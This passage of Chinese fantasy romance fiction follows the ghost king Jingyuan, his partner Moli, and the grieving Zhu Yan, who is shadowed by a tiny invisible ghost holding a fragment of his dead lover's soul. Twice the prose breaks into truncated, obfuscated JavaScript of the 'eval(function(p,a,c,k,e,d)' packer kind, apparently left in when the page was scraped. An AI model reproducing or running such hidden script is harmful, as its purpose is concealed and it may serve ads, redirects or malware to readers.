夜风拂过微散的长发,一旁散着好几个东倒西歪的酒瓶子,朱厌顶着些许醉意的眼,手里握着那枚变色的长命锁,若有所思地盯着天上的圆月... 天光骤明,日光朦胧,在屋顶上躺了一整夜的朱厌缓缓睁开了眼。 待到睡意消散,梳洗完毕后,朱厌便直奔九幽。 聚魂鬼海禁地里,净渊正满头大汗对着魂牢里锁着的那一截槐树之根施着法。 原本只残余中央一小节鲜活的槐树之根,却开始失去了光泽,颜色也趋于枯萎之色。 净渊一边不要命似地朝里头注入各种天材地宝跟自身鬼力,一边骂骂咧咧个没完没了:“你个让人不省心的臭小子!本殿就出去一趟你就又给我搞事情了!本殿我好不容易才把你养活了一丁点槐根,你又给我折腾没了!他爹的!你就是死,也别死在本殿九幽这里!晦气!!!可恶!!!” 急急忙忙赶来的摩涅,眼里脸上满是无语:“我说我的鬼王大人啊,你骂骂咧咧一顿输出后不也还是乖乖治着大荒妖帝嘛!真不嫌弃浪费自个的口水!” “本殿偏要骂!”净渊一听心里头的火蹿蹿蹿地往上升,像个赌气的小孩子一样,骂得更凶了,“不骂出来,本殿心里难受!” 现出原形的摩涅,猫着身子,撑着小腿坐在地上,忍不住舔了舔自己手上的猫:“那个...大人要不还是先别骂了...” “本殿偏要骂!” “那个...妖后大人来找你了。” “本殿还要骂!” “我说,妖后大人来找你了。” “这死小子,不知道本殿的鬼力很珍贵的吗?!他以为本殿跟他一样,剥自己的精魄跟剥白菜一样还满四海八荒的乱丢嘛!” 摩涅直接大声一吼,试图拉回骂得正起劲的净渊:“我的乖乖鬼主啊,我说,妖后大人来九幽找你了。” “本殿骂...”骂骂咧咧的净渊终于捕捉到了关键词,愣了一下,“什...什么?你说谁?” “大荒妖后,朱厌大人。” “朱厌来鬼域?!他找本殿何事呢??” 摩涅又换了只手正舔毛舔得正欢,悠哉游哉回着他:“不知道。鬼后大人正跟他在无殇楼喝着茶呢。” 净渊顿时眉头一皱,朱厌为何会来找他? 随后又抬头瞥了一眼正浮在半空,被无数根天玄链锁着的槐树之根。 净渊眼里露出一个无语颜眼色:十成又是为了这个死木头来的! 可是,这一次的槐树之根,即便是听到他喊朱厌也没有反应。 净渊觉得不太对劲,又朝前走近了些,冲那一动不动的槐树之根,轻轻一说:“喂,朱厌来了,你要跟本殿一起去吗?” 可是,槐树之根依然没有任何动静。 净渊眼色一沉,看来,确实不太妙了... 他连忙解了这捆绑着槐树之根的天玄锁。 天锁落解,净渊操控下,槐树之根朝着他缓缓飘去。 可是,刚落入他掌心,槐树之根中央那约莫三厘米左右的鲜艳,以肉眼可见的速度枯萎了一厘米。 净渊眸色有些复杂地望着它,沉默了好一会后,伸出的指尖跳跃出一抹蓝紫火焰。 火焰缠绕上槐树之根后,在上头施了一层结界,槐树之根变成一枚精致的指戒,戴在了净渊左手的食指上。 随后,净渊转身,蹲下身将现出原形的摩涅抱在怀里后,一同离开了此处。 净渊踏入无殇楼时,里头倒是先行传来了一阵阵欢声笑语,引得净渊不由脚步一顿,恍惚之间,好似回来了数万年前,他们几个一起花前月下,把酒言欢的日子。 “听本殿的手下摩涅说...”一道绛紫身影缓缓走至楼内,净渊藏在背后的手,悄然摩挲着左指上那枚蓄意施下法术的指戒上,“今日,你是特意来寻本殿的?” 净渊一股脑坐到朱厌对面的陌离身旁,在陌离准备伸手一巴掌把他拍飞前,火速低探身,将他手里那杯只喝到一半的清茶,一口喝光。 坐在对面将这一幕粘腻的互动尽收眼底的朱厌,只是挡在白玉瓷杯后的嘴角,不经意微勾了些许。 陌离早就对净渊这一套死缠烂打见怪不怪了,脸色倒是无比淡定,没些好奇一说:“舍得从聚魂鬼海出来了?” 陌离并不知道净渊一整日呆在里头在做些什么。 净渊没说,他虽好奇,但也没问。 他知道,时候到了,那些被刻意掩藏起来的真相,自会水落石出。 “净渊,我想,请你帮个忙。” 透着清茶淡绿色泽的白玉瓷杯,被朱厌轻轻放在桌上,抬起的红眸里倒是直白对上净渊的紫眸。 一旁的水,正在小壶内咕噜咕噜响了起来,腾升的水汽伴着白雾的飘渺,萦绕在几人四周。 净渊不语,只是与朱厌对视着的紫眸内流转着一股好奇的神色,静待着他的下文。 “五日后,昆仑神山,我想用死生之术,开阵聚阴,需要你,帮我守阵。” “死生之术啊...”净渊左手指尖摩挲着眼前的瓷杯杯沿,望着朱厌的眼,幽幽解释着,“至阴至盛的上古禁术,开阵聚阴,百鬼出行,亡灵求生,邪祟狂遁。你找我这九幽鬼王替你坐阵,倒是聪明得很啊...” 这朱厌的如意珠盘子,珠子都崩到他脸上了! 果然,凡人说得挺在理的,一个被窝睡不出两种人。 跟那黑心木头呆久了,朱厌也变得诡计多端起来了! “方才陌离说了,你会帮我的。”朱厌淡定喝了一口茶,视线飘向陌离,笑着一说。 谁知,净渊一听,突然狗腿子起来,对着坐在身边的陌离,垮着他那一张俊脸,像一只可怜兮兮的大狗望着他。 “陌陌,你可知,那些可都是修行通天的大恶鬼,还有那些邪魄恶魂,可都是吃人不眨眼,吞魂不分人的。” 说着说着,净渊还装模作样拿过陌离的袖子,揩了揩好不容易挤出来的眼泪,继续惨兮兮哭诉着:“本殿的胆子那么那么小,修为那么那么弱,你不怕你年纪正值芳华之年就丧夫吗?!你舍得将你如此貌美如花的夫君送进百鬼之口吗...” 陌离眉心止不住抽了又抽,忍不住伸手扶了扶额。 净渊一瞧,顿时便停下了油嘴滑舌,瞬间换上紧张担忧的神色。 “又疼了?我看看。”净渊掰过他的脸,冲他额间的水青灵印瞧了又瞧,还不放心朝这灵印轻轻吹了又吹,“还疼吗?要不,再去佛生泉里泡泡,可好?” 坐在他们对面的朱厌,看着他俩这一来一往的腻歪戏码,实在是觉得自个的眼被亮瞎到了,干脆拿过一旁盘子里的花生,剥了起来。 “不疼。”陌离的脸被净渊捧在手里,都挤成一团了,嘟囔鼓起的小嘴抗议一说,“但我耳疼,你太吵了...” “世间男子...”净渊松开了手,捂住自己的心口,一脸悲凄,神色哀恸,“果然都是情薄意凉之人...这才数万年相处,本殿的小心肝宝贝儿,就开口张口嫌弃我...” 听着眼前这俩口子算不上拌嘴更多是情.趣.调.戏.的话时,朱厌都已经剥了第八十八颗红皮花生了,并且还强迫症似的,将所有花生都摆在桌上整整齐齐的。 他正准备放下第八十九颗花生时,净渊开口了。 净渊话锋一转,一脸认真:“朱厌,你该知道,天下没有白得来的一切。所有的一切,都有着明码标价。” “死生之术一开阵,你的妖丹被剖,万年修为被散,除了一幅不死不伤的躯体外,你可就什么都没有了...” “况且...”净渊左指一动,朱厌摆好在桌的八十八颗红皮花生,瞬间动了起来,变成死生之术大阵的阵形,“他能不能回来,也是个未知数。你这么做,真的值吗...” 第八十九颗花生被朱厌拿着,正立在桌上,微闪的眼眸没有抬起,只是淡淡一说:“嗯。知道” 随后,将手中的第八十九颗花生,放进阵的最中央。 净渊一看,当下就明了他的心思,也不再多说什么。 “既然如此,那五日后,昆仑神山见。” “嗯。多谢。”朱厌随后抬头,没向净渊,反而冲陌离淡淡一笑,像是感激,也像是辞别。 朱厌起身,准备离去,却在转身之际,无意瞄了一眼净渊左手食指上佩戴着的指戒。 原本毫无异样的指戒,忽然发出一道微亮,惹得朱厌的眼又再瞥了一下。 净渊状似无意地连忙放下手藏进袖子,朱厌也没再去注意。 倒是一旁的陌离,瞬间觑起双眼瞄了一眼净渊。 他怎么不知道净渊有爱好佩戴指戒的这种习惯? 碰上陌离探究的眼神,净渊有些心虚地别开头,伸手拿过陌离手中喝剩下的茶一股脑喝下,又因喝得太急被这滚烫的清茶烫得直咳。 陌离一瞧,忍不住朝净渊翻了一个白眼。可手却抚上他的后背,轻轻抚拍着他。 净渊左手食指上那一枚被他刻意变幻过的指戒,又亮了一下。 陌离正想看过去,却突然听到噗通一声响。一抬头,却看到原本该离去的朱厌跪地不起,手捂心口,口吐鲜血。 “朱厌!”陌离一把丢开还在轻咳的净渊,大步径直朝朱厌跑去。 跪地不起的朱厌,方才还在捂住心口的手改成捂住头痛欲裂的脑袋,抬起的头,那双暗红浅瞳顿时变成带着一抹鎏金的幽蓝,周身更是燃起了暗红色的戾气。 朱厌识海里,被诸多滚烫的烈火深渊围得水泄不通的牢笼里,睡在青苔礁石上的戾气朱厌,紧闭着的眼,骤然一睁,下意识望向高悬于远处半空的枯黑莲蕊。 离仑身陨,誓契消散,心莲枯萎。 八片花瓣早就掉落得一干二净,只残留下一个枯黑莲蕊的七彩琉璃心莲,突然以极为缓慢的速度,缓缓长出三分之一片崭新的花瓣。 “心莲...”戾气朱厌一瞧,瞬间起身坐起,一脸不可置信,“怎么...怎么会突然长出新的花瓣,重新复活了呢...” 识海外的朱厌,猩红的双眼被鎏金幽蓝彻底充斥,眉心沉寂的那枚幽蓝妖印,重新浮现。 朱厌眉心的幽蓝妖印上,那一道因先前在嗔海憾境里而裂开的第三道裂纹,以肉眼可见的速度正在不断开裂着,却在即将彻底裂开时,又重新停下。 “陌离!躲开!”净渊面色惊变,冲着朱厌身旁的陌离大声一吼,整个人瞬间移动到陌离跟前,以最快的速度将他带离朱厌身边。 “啊——” 以朱厌为径,一股暗红的力量瞬间炸开,无殇楼一整座楼顿时也被震得摇晃个不停 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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站在旁边的净渊,当下就伸手把它的脑袋往下摁,随即吐槽出声:“花嫫,不要用你那张非男非女的脸,勾引我家陌陌!他的眼睛,只能粘在我身上。” 花嫫是陌离的手下第一大将,玄隐暗域的第一隐医,也是没有性别唯遇真爱才择性的修罗。 “少主...”花嫫下意识往陌离身边倒去,却被净渊一把拎住后衣领,直接给踢出了普方大殿。 “欸你这是!”陌离想阻止却也来不及了,待到净渊回来,白了他一眼,没好气一说,“它就是个孩子,你干嘛老那么对他?” “陌陌,那小子算什么孩子呀!它就不是省油的灯!它老在你面前装疯卖傻的!” 净渊一边走进来,嘴里还絮絮叨叨着,像个深闺怨夫数落着陌离的冷落与偏心:“上次我可是亲眼看到它单手捏爆了鬼牢里那只最大的大恶鬼,就因为那恶鬼说了你一句坏话。虽然,它不杀那鬼,本殿也会杀了那嘴碎的鬼。” “还有,别以为本殿不知道,它就是仗着你宠它,对你有肖想之意。我嗯嗯嗯...” 陌离伸指一弹,直接将说个不停的人给噤了声,揉了揉发胀酸疼的太阳穴。 吵吵吵的,普方大殿都要被他吵塌了! 给朱厌掖了掖被子,一转身,又瞧见净渊左手食指上那枚正泛着微光的指戒。 陌离刚想探手,不料,净渊竟往后一藏,将手藏起来了,将脸贴到他跟前,示意陌离解了他的噤声。 陌离无奈一叹,解了他的噤声。 真是的,明明自己可以解开,还非要他来解! 净渊往朱厌跟前靠得越近,手上的指戒就亮得更明显。 他犹豫了片刻后,对着刻意被他变幻过的指戒一说:“本殿可以把你放出来,但你,不可以让他发现你,听懂了吗?” 摘下的指戒,被净渊施了法术,放到朱厌睡着的枕边。 下一秒,指戒变成真正的槐树之根模样。 一旁的陌离一看,不由好奇起来,“这是...” “我们先走,让他们好好休息下。”净渊拉过陌离的手,朝外头走了出去。 净渊拉着陌离前脚刚离开,后脚被放在朱厌枕边的槐树之根,骤然一亮。 一抹淡到快看不见任何东西的幽蓝光雾,从槐树之根里头,偷偷钻了出来。 待它钻出后的下一秒,槐树之根也化作光点,消失不见。只剩下一个花生米大小的小东西,踉踉跄跄着迈着小不步伐,朝昏迷不醒的朱厌走去。 小小槐鬼一嗅到朱厌的气息,奄奄一息的精气神倒是多了一点,好不容易才爬到朱厌身上。 小东西颤颤巍巍走到朱厌耳旁,蹲下小小的身子,虎头虎脑又奶声奶气的,超级小声地在他耳边喊了一句,“厌厌...” 瞧见朱厌没有回他,也没有醒,本来弱到都说不出话的小小槐鬼,又往前挪了一小步,不死心喊了一句,“厌...” 朱厌还是没有醒,也没有回他话。 小小槐鬼也不知道该怎么办,最后只好起身,顺着朱厌的侧脸继续往上爬,爬了好久好久才最后爬到了他的眉心。 小小槐鬼踏着又短又肥的小短腿,走到朱厌眉心中央,蹲下小小的身体,睁着一双又大又圆的眼睛,盯着朱厌眉心看。 下一秒,朱厌眉心沉寂的幽蓝妖印,浮了出来。 小小槐鬼一瞧,肥嘟嘟的脸上露出顿时一个很是震惊的表情,然后整个人直接像块小烙饼一样,趴在上面一动不动,试图用身体挡住这一枚妖印,不让它露出来。 可是,它的身体太小太小了,就算直接瘫趴,也挡不住这枚幽蓝妖印的一半。 妖印浮出,朱厌顿时难受得双眉紧皱,趴在上面的小小槐鬼,感觉自己好像坐在颠簸的海浪上,一上一下的,吓得它趴得更紧了。 “厌...厌厌...”察觉到朱厌的难受之意,趴在额印的小小槐鬼,用着自己的小脸蛋,不断蹭着他眉间发着光的妖印,结结巴巴说着,“...呼呼...不...疼...不疼...” 53.两管小鼻血(一更) “什么!你再说一次!” 一声无比震惊的话语从无殇鬼楼传出,一堆破烂当中,坐在只剩下一张完好椅子上的陌离,此刻正一脸震惊盯着蹲在地上不知道在做什么的人。 “我说,那小子的槐树之根,在我手里。” 蹲在地上的人,手里拿着一张巨长的羊皮卷轴,窸窸簌簌地不停往上面写着东西。 陌离看他着实认真,实在坐不住了,于是起身走了过去。 陌离歪着脑袋,看着他手里拿着的羊皮长卷,认真地逐一读出了上面几个醒目的大字:“赔...偿...清单?” 净渊蹲在地上,很认真地核实了一遍又一遍,最后才满意地点了点头,“对。赔偿清单。以后要找那木头索赔的。” 陌离忍不住翻了一个大白眼,一脸无语,“你一个九幽鬼王,如此计较!打个响指就能恢复一切了,还找人索赔,幼稚!” 谁知,净渊一听,当下就不乐意了:“陌陌,凡人说的好,‘亲兄弟都还明算账’呢...” “更何况...”净渊拿过毛笔又朝那巨长的羊皮卷轴上添了一笔,“我还各种天才地宝养着它,都还没算我给他疗伤用的鬼力呢...那小子,有的是钱。” “朱厌弄坏我的鬼楼,我不找那木头赔,多亏啊...”净渊一边嘴里絮絮叨叨说着不停,一边大手朝着眼前破烂的地方,随手一挥。 无殇鬼楼所触之地,方才因朱厌而坍塌破碎的一切,全都开始重建,逐渐恢复到原来的样子。 陌离懒得跟他说,直接喝着茶,开始问出自己的疑问:“你刚才说,离仑的槐树之根,在你手里。那你为何还答应,赴约朱厌五日后,死生之术的坐阵?你可知,那禁术的邪恶之险?” 净渊一把夺过他手里的茶,喝了起来:“我并不知道,离仑那小子把自己的精魄撕成了多少块。” 一想到离仑的精魄,净渊就很头大,揉了揉发胀酸疼的太阳穴,脸上难得露出几分疲色:“但我寻到的槐树之根里的那一块,只有一丁点。更重要的是...” 他一停话,陌离忍不住抬眸看向他,只瞧净渊脸色有些凝重:“藏在槐树之根里的精魄,已经开始出现消散的迹象了...” 陌离一听,不由一愣:“怎么会这样...” 净渊摇了摇头,又伸手揉了揉自己酸胀得太阳穴:“不知道。许是朱厌自己的问题,又许是乘黄作祟的问题...” 净渊握着白玉茶杯的手当下一紧,脸色格外凝重:“死生之术的大阵一开,九天十地,四海八荒之内的亡灵恶魄,都会争先恐后地入阵,已寻求借阴入阳,重新复活。” “或许...”净渊指尖摩挲着白玉瓷杯的杯沿,语重心长,“朱厌既然肯以身入局,说不定...真的有可能,将那木头残存留世的其他精魄,给招回来呢...” 陌离忽然想起,很久以前的自己,就在玄隐暗域的万书阁里看过这禁术的记载。 这从不知何时流传下来的上古禁术,不管是开阵人,还是坐阵者,都是奇凶多险,凶多吉少。 陌离很担心:“那你...有几成把握?” 净渊不语。 陌离眸光一顿,瞬间便明白,脸上满是担忧,起身往外走去。 没一会,等他回来之时,手上多了一件造型奇特,设计精致的灵器:“这是红绫锁,危难关头,可化为一方灵盾,穿破阵眼,将你们带离。” “死生之术毕竟是上古禁术,我也同你们去吧,多少也能帮你们些呢,你说好...” 陌离的话突然止住了,站在他面前,比他高了一个头多的净渊,低垂着脑袋,将自己埋进了他的肩膀。 “陌陌...” “嗯?” “再失去你一次...”净渊忽而认真一说,嗓音有些闷闷的,让人听了就瞬间共情到他的难过,“我真的会疯掉的...” “我不是在这好好的嘛...”陌离不由一笑,有些无奈得头疼,又有些被气笑的心疼。 这还是,那个令人闻风丧胆的九幽鬼王吗? 陌离伸出的手,有一下没一下地轻拍跟安抚埋在自己肩上的人的后背。 ... 普方大殿里,朱厌这一昏,就是昏了一天一夜。 翌日晨起,比起昏迷不醒的人,趴在他眉心的那一团幽蓝小东西,更早醒了过来。 小小槐鬼在朱厌气息的包围下,睡得格外地沉,甚至还流了一小口口水在朱厌眉心妖印上。 揉了揉睡得惺忪的眼的小小槐鬼,在看到自己小口水糊了朱厌额印后,先是露出一个天塌了后生无可恋的表情,然后又是瞬间露出一个灵光一闪的表情。 下一秒,小小槐鬼便连忙起身,撅起自己胖墩墩的小.屁.股,把这一滩比小水滴还要小得多的小口水都蹭了个干净。 小东西磨磨唧唧地起身,先是跑到朱厌的侧脸,俯身吧唧亲了他一口。然后转身蹲下,一脸认真研究起如何从朱厌脸上下去的问题。 鉴于昨晚无比艰辛爬上来的经验,它变聪明了。 小小槐鬼抓了朱厌五根发丝,从朱厌眉心滑到他耳边,又咕咚咕咚地小跑到他耳边,露出一个中气十足的神情,奶声奶气冲朱厌耳朵一喊:“厌厌~” 朱厌没有理它,继续昏着。 小小槐鬼继续再接再厉,又喊了一声,还是没有反应。 在它不知道喊了多少声后,昏着的人,眼皮轻颤,终于有了一丝要苏醒的痕迹。 小小槐鬼见状,赶紧火速奔跑,借着朱厌抬手揉额之际,一下子溜到了朱厌胸前的衣襟里,偷偷藏了进去。 朱厌起身坐了起来,抬起的头下意识揉了揉发酸疼痛的眉心,脸色不太好看,发出了一声轻微的痛闷:“嗯——” 藏在他心口衣襟的小小槐鬼一看,一脸担心地看着朱厌,“厌厌...” 它还试图挥手,想要吸引朱厌的注意,可是被净渊施了里三层外三层隐身术的它,朱厌根本就看不见。 外头守着的鬼侍听到朱厌的动静后,恭敬出声一问:“大人,是否安排梳洗?” 朱厌缓了一会才回过神来,看着陌生的四周,才想起,他这是在九幽鬼域。 眼色当下就一沉,他想不起来了,隐约只记得昨日的他,闯祸了... “嗯。” 得到命令的鬼侍,没一会就带着一小队侍从进屋,帮着朱厌梳洗换衣。 而小小槐鬼则是不知什么时候坐在了一旁衣摊架上,目不转睛盯着朱厌,眼睛完全粘在他身上。 朱厌遣退了一旁待伺的鬼仆们,自身留在原地的里间。 小小槐鬼一瞧,连忙将自己的小.屁.股.挪啊挪的,整个人转了过去,睁着又圆又大的眼睛,看着他更衣换服的。 衣裳落地,美人春光,旖旎画面看得它的小脸蛋烧得通红,甚至有些头晕目眩的。 小小槐鬼看得一愣一愣的,眼睛像一只萤火虫似的,又一亮一亮的:“厌厌...” 感觉鼻子有些痒,小东西自个伸手一擦,居然是两管小鼻血! 两管小鼻血挂在它小小的脸上,又突兀又可爱,又搞笑又可怜。 待到朱厌换好衣服,一旁待侍的鬼侍鬼仆们一抬头,双双都愣在原地。 额缀蓝印,水青苏佩,黑衣墨纱,好生一幅让人一眼难忘的美人图。 站在铜镜前的朱厌,望了镜内一身鬼域装扮的自己,有些懵然。 恍惚之间,眼前的场景,铜镜之中的人,好似回到了很多年前的大荒槐谷。 ... “人间嘈杂闹腾,你就那么喜欢吗?” “喜欢的。这花灯节可是人间盛事,你陪我去吗?好不好?嗯?” “好吧。我陪你。可你得换一身衣裳。” “嗯。都听你的。” ... 好像...以前去人间的时候,那个人也总爱唠叨着让他换上更为保守的衣裳。 虽然想起的记忆,断断续续又零零碎碎的,但一想到那个人,朱厌的嘴角不免上扬了几分。 可惜,这份开心维持了不过几秒。 看着镜中人,朱厌心头涌起难过,忽然开口轻声唤了一声,“离仑...” 一旁正手忙脚乱,忙于擦自己鼻血的小小槐鬼,听到朱厌喊的这个名字,下意识抬头望去,可是脸上的表情却出乎其然的呆滞与茫然。 “厌...”小小槐鬼有些难过地看了看他,连说话的声音都小了很多。 朱厌收起难过的神色,转身准备走出屋内。 小小槐鬼一瞧,连忙蹦跶着朝他跑去。在朱厌即将走出这里前,一把抓住他飞扬的衣角轻纱。 朱厌走得很快,挂在他腿边的小小槐鬼,正抓着他因飘动而上下摆动着的衣纱,胆战心惊着。 小小槐鬼被吓得眼泪汪汪,大眼睛里透着委屈又无辜,撅着委屈的小嘴,有些可怜地抬头望了望朱厌,“厌...” 可惜,身上人并没有听到它的‘求救信号’,依旧大步朝前走去。 在鬼侍的带领下,朱厌很快就来到了落鬼长宫。 大殿正厅里,净渊跟陌离早已候着多时。 陌离一见朱厌,脸上顿时喜笑颜开,走到他跟前将他拉了过去。 对于陌离突如其来的亲昵与示好,朱厌还是有些不适应的懵然。 在朱厌还未开口前,陌离已经先行夹了一块晶莹剔透的鱼肉到他碗里,自顾自说着。 “虽然我知,你们大妖,修为到了一定境界也是可以不食不语的。但我听净渊说,你素来喜爱人间,便想着你定也喜美食。” “我不知道你喜欢吃什么,就都随便准备了。这些都是我亲自做的,你尝尝看味道如何?” 净渊瞧着眼前的两人,好似比先前亲近了些许,顿时疑惑。 陌离也不理睬他,倒是一个劲儿给朱厌夹菜。 昨日早上,朱厌突访九幽,是陌离先行接待了他。 两人你一言我一语,交谈甚欢,聊了很多,愈发投机,瞬间就亲近了许多。 具体聊了什么,陌离自是不会告诉净渊。 净渊眼带惑色,忍不住一直朝朱厌身上上下瞄着。 陌离一看,下意识掩唇轻咳了一声。 净渊自是明白陌离意思,微微收回了打量的眼神,取过一旁的酒杯,抿了一口。 微微低垂的紫眸里,涌起更多疑惑。 奇怪,他明明将那小子放在朱厌身边,它是不可能会离开朱厌的。 怎么才这会功夫,他就是没有看到那个小子呢? 谁知道,他正深思着,眼角便被一处莫名的小动静吸引了注意力。 小小槐鬼一脸警觉,偷偷从朱厌的胸前衣襟内钻出了个小脑袋,认认真真窥视了四周一番。 在确定没有危险后,小小槐鬼才慢吞吞地从朱厌衣裳内钻出,顺着他胸前的佩饰,滑倒了饭桌上。 净渊一看,紫眸不由睁大了几分,顿时震惊不已。 在未见到朱厌前,已经奄奄一息,甚至是连大气都不出一口的小小槐鬼,此时此刻,不禁生龙活虎,连带着原本只有花生米大小的身体也长大了些。 可惜,长大得不多,只是从花生米进化到方糖大小。 净渊一瞧,嘴角不由上扬了几分,眼中更是流露出了一种老父亲瞧见不孝子终于出人头地的欣慰感。 一旁的陌离瞧着净渊露出如此白痴的眼神,下意识顺着他的眼神望去—— 他一看,夹着肉的筷子一抖,忽而一松,筷子上夹着的肉,也顿时掉进碗里... 所以,眼前这个头发很夸张地直接朝着上空飞着,像一个迷你版的小火焰人,全身只有跟一块方糖一样大小,正蹲在一碟糖醋排骨前,流着口水哈喇子的小东西,就是大荒的妖皇,六界大荒之主??? 小小槐鬼根本就没有理会净渊跟陌离,只是蹦跶着自己又短又肥的小短腿,朝着朱厌跑去。 可是,它跑得太猛了,还很不小心摔了一跤。 正注视着它一举一动的净渊跟陌生离,表面看似淡定自如,实则紧张得心都快跳到嗓子眼了。 小小槐鬼揉了揉自己摔疼的小.屁.股,眼泪汪汪又一瘸一拐走到朱厌面前,指着它身后那一碟糖醋排骨,对着朱厌奶声奶气喊了一句:“厌...” 可是根本看不见它的朱厌,依旧自顾自吃着自己的饭。 忽而察觉到两道火辣辣的视线,朱厌跟小小槐鬼像是心有灵犀般,忽而双双抬头,望向净渊跟陌离。 陌离一愣,竟然恍惚之间,发现朱厌跟小小槐鬼,他们两人脸上的神情如出一辙... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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一道高大的身影拿着一个木碟子,缓缓走了进来。 离仑嘴角上扬了几分,淡笑着说:“肯定酸,我都还没加果子呢。” 说着,把手上的木碟子放下,伸指抹掉朱厌眼角酸出的泪,又转身从木碟子上取过一颗火红鲜美的果子,递给了朱厌。 是火桑果实。 朱厌俯身,直接张唇,就着离仑的手,一口咬上离仑递给他的果实。 即便吃了香甜的火桑果,还是被酸得龇牙咧嘴的朱厌,很认真同离仑一说:“阿离,加多些,太酸了...” “好。这给你。”离仑从怀里掏出一个又鲜又嫩的大桃子。 朱厌眼睛一亮,接过离仑给的桃子。 ... 坐在一旁火灶台上的朱厌,荡着双腿,像只觅食的小仓鼠,啃着离仑给的桃子,把腮帮子塞得鼓鼓囔囔的,不断指挥着正忙活着的人。 “阿离,要着火了!快快快!” “阿离,鱼要好了吗...” “阿离,你做的糖醋排骨,好好吃呀...” “阿离,明日还做这道菜,可好...” “阿离...” ... 破碎的记忆飞速切着,朱厌的眉心的妖印开始不受控地灼疼起来,连着大脑深处,都像被人正拿着冷锋利刃,一刀一刀不停割着划着。 噗通一声。 筷子上的糖醋排骨掉落,朱厌捂住疼得快炸开的头,浑身止不住的颤,一身甚至还燃起红蓝相间的诡异光雾。 眉间的那枚幽蓝妖印上,从微弱的淡光开始变得刺眼和明亮,现出真正的模样。 一旁的陌离,在瞧见他额间那一枚清晰的妖印,心头一颤,放在膝上的手,不由一紧。 细看之下,先前的第三道裂缝,已经完全裂开。 而第四道缝隙,开始悄然皲裂... “朱厌!”陌离一脸急色,正想上前,却被净渊一把拉住。 净渊朝他摇了摇头,陌离一愣,只好选择不动。 小小槐鬼一看朱厌万分难受着,着急地直往他跟前跑去。 终于跑到他跟前的小小槐鬼,像一朵起飞的小棉花一样,一蹦一跳的,急得团团转:“...厌厌...” 可是朱厌根本看不见它,于是它又拖着小短腿,从饭桌的另一边跑到了饭桌的另外一边,跑到了净渊跟陌离跟前。 小小槐鬼很着急,又不知道怎么表达,只是一手指着朱厌,一脸着急看着净渊,嘴里一味朝他重复着说:“厌...厌...” 净渊没有理会它,只是眼里颇为复杂地瞧着它。 与他正对视着的小小槐鬼,看到他不愿意帮它,不由愣了一下,脸上顿时露出一个十分迷茫,又略带几分空洞的神情。 小小槐鬼突然转身,又噼里啪啦朝着陌离走去。 它看着陌离,指着正难受不已的朱厌,着急一说:“厌...” 小东西着急得一蹦一跳的,好歹也是大荒妖皇,不帮,着实说不过去。 陌离有些不忍,偷偷瞥了一眼净渊,但瞧他神色严肃,思考了一会后还是选择按地不动。 小小槐鬼一脸难过,幽蓝眼睛一瞬间就涌上了眼泪,眼内更是肉眼可见的失望。 正疼得脸色发白,冷汗直流,颤栗不止的朱厌,体内被一股不知名的力量横冲直撞着。 他正在努力克制着,可体内力量的冲击实在是太强烈,让他不由溢出一声微弱的痛吟。 上一秒还沉浸于万分难过里的小东西一听到这声痛吟,连忙转身,朝朱厌小跑而去。 净渊跟陌离都不愿帮朱厌,跑到朱厌跟前的小小槐鬼急得手足无措,豆大的眼泪哗啦哗啦的流着。 小小槐鬼无奈得只能爬上朱厌疼得颤栗的手,一.屁.股.墩子难过地坐在上面,豆大的眼泪滴在朱厌的手背上,语气委屈得不得了:“厌厌...” 朱厌越难受,小小槐鬼身上的蓝雾,也随之更亮。 朱厌难受得越疼,小小槐鬼哭得越凶,眼泪也掉得越猛。 当小小槐鬼的眼泪,滴在朱厌手背的瞬间,他眉心的那枚妖印,也瞬间黯淡下去,连带着不该出现在他身上的红蓝光雾,也消失殆尽。 逐渐缓过神来的朱厌,脸色很不好看。 手背有些冰凉,引得他下意识一望。 当目光触及到手背上莫名其妙的一小滩水渍时,朱厌有些出神。 小小槐鬼一抬头,还装着黄豆大小眼泪的眼睛,一看朱厌没事了还一直盯着它看,顿时喜笑颜开起来,幽蓝大眼睁得浑圆,开心一喊:“厌厌!” 54.糖衣炮弹(二更) 朱厌与小小槐鬼之间的一举一动,在一旁从头到尾都仔细观察着的净渊,紫眸顿时一觑,暗自心中有了一个隐隐的猜测。 这顿饭,好像...吃不下去了... 朱厌眸光微微一闪,敛了敛失态,十分歉意同净渊和陌离一说:“抱歉...” 净渊收回眼神,又换上了平日里那幅慵懒模样,语气有些懒散:“朱厌,你身体还未恢复,不如就暂留在九幽,我让鬼医给你看下。也就几日而已,到时我们再一起出发,回大荒。” 朱厌正想开口拒绝,却被陌离抢先一步:“对啊!鬼医要是不行,花嫫可以给你看脉。” “你留下好好休养,这几天我带你去玩一玩九幽,如何?” 陌离性子慢热,很少有特别亲近之人,先前与朱厌的相谈甚是投缘,加上净渊跟英磊也曾言他与朱厌是闺中好友,对朱厌更是好感不少。 看到他们两人接连开口,盛情难却,朱厌也不好再拒绝,只好应下:“好。” 陌离看他脸色越来越差:“我看你脸色甚是难看。要不,你先回殿休息,我再遣花嫫来给你看一看,如何?” 朱厌心里头明白自己的身体情况,直接开口:“我休息下就好了。若有需要,我会与你说,再唤鬼医。” 小小槐鬼从他手背上滑了下来,听到朱厌拒绝鬼医就诊,叉腰站在他跟前,像一只小蟋蟀一样,一蹦一跳的,朝他疯狂摇头,表示自己的意见。 很遗憾。 朱厌还是没看见它的表态,倒是一旁的净渊和陌离两双眼睛一直盯着它看个不停。 朱厌起身,向净渊跟陌离行礼辞别,准备转身离去。 小小槐鬼一看,着急得一蹦一跳的,又跑到净渊跟前蹦跶抗议,示意他必须得安排鬼医帮朱厌就诊。 谁知道,这一次,净渊没有惯着它,直接大手一抓,将它抓在手里不松开。 被净渊抓在手里,瞧着逐渐远去的朱厌,小东西急得都发出挣扎的嘶鸣声:“厌——厌——” “嗷!”净渊发出一声微弱的惨叫声,下意识松开了手。 陌离被吓得连忙伸出手,赶紧接住小小槐鬼,生怕它有个三长两短的。 看着手掌虎口那一小排牙印,伤口小却格外深,此时正往外渗着小血珠。 净渊当下就心生不爽,怒火难以受控地噌噌噌往上冒着。 